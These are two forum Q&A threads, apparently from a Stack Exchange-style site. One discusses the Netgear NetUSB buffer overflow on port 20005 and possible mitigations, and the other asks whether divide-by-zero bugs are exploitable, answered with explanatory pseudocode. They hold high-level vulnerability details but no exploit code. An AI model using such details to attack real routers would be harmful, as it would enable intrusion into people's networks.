You can try the check-for-updates capability wherever in exists in the UI there and see if Netgear has released a firmware update that patches the flaw/s. Sometimes consumer-grade router makers will act responsibly and do so.  Sometimes.

On the plus side, I guess, if this is an attack the person or program that knocks out your router has a slight sense of humor, spoofing an IP address of Symantec as the attack source.

Edit:

Ars has some more technical details on the vulnerability. It's really, really stupid:

  This router-side driver listens to connections on TCP port 20005, and
  it's this driver that contains a major security flaw. SEC Consult
  Vulnerability Lab, which publicized the problem, discovered that the
  Linux driver contains a simple buffer overflow. As part of the
  communication between client and server, the client sends the name of
  the client computer; if this name is longer than 64 bytes, the buffer
  overflows. The company says that this overflow can be exploited to
  enable both denial of service (crashing the router) and remote code
  execution.

Ugh.

If this situation is one such DoS attack, is there anything you can actually do about any of this?  Well, the obvious things for me to tell you are to try (1) disabling the USB port feature in the router UI and (2) try getting the router to block WAN traffic on port 20005, which is how the remote code that triggers the buffer overflow gets to your router. (Very roughly speaking, in non-technical terms.) Which might be good advice, except:

  Netgear told SEC that even with NetUSB functionality disabled through
  the router's configuration UI, the driver is still loaded, and there
  is no ability either to disable it or to block access to port 20005 in
  the firewall.

Yikes.

So...I'm sort of out of ideas at the moment. Maybe someone else has other suggestions.  If this really is the result of the attack method described above...

Edit #2: Qualified my previous statement that this situation definitely is/was an example of an attack to exploit the vulnerability described in the answer.  It might well be, but that is still, as the Scots might say, not proven.


Is divide-by-zero a security vulnerability? Even though sometimes software bugs and vulnerabilities are deemed as the same concept, there must be at least one distinct aspect between them, and I think the most prominent one is exploitability (the latter one having the property).

What I'm curious about is, even after seeing many cases that divide-by-zero bugs are reported as software problems, I can hardly come up with any attack (other than DoS) using divide-by-zero bugs. I know not all kinds of bugs have the same impact upon a system in terms of security, but is there any attack method that uses divide-by-zero bugs to achieve something different than DoS, like privilege escalation for example?

At issue is that an exception handler will be invoked to handle the division by zero.  In general, attackers know that exception handlers are not as well-tested as regular code flows.  Your main logic flow might be sound and thoroughly tested, but an exception handler can be triggered by interrupts occurring anywhere in the code within its scope.

int myFunction(int a, int b, SomeState state) {

    state(UNINITIALIZED);
    try {
        state.something(a/b);
        state(NORMAL);
    }
    catch () {
        state.something(b/a);
        state(INVERTED);
    }
    return retval;
}

This horrible pseudocode sort of illustrates one way the flaw could be exploited.  Let's say that an uninitialized state is somehow vulnerable.  If this routine is called, the state is first uninitialized.  If b is zero, it catches the exception and tries to do some other logic.  But if both a and b are zero, it throws again, leaving state uninitialized.

The division by zero itself wasn't the vulnerability, it's the bad code around it that's possible to exploit.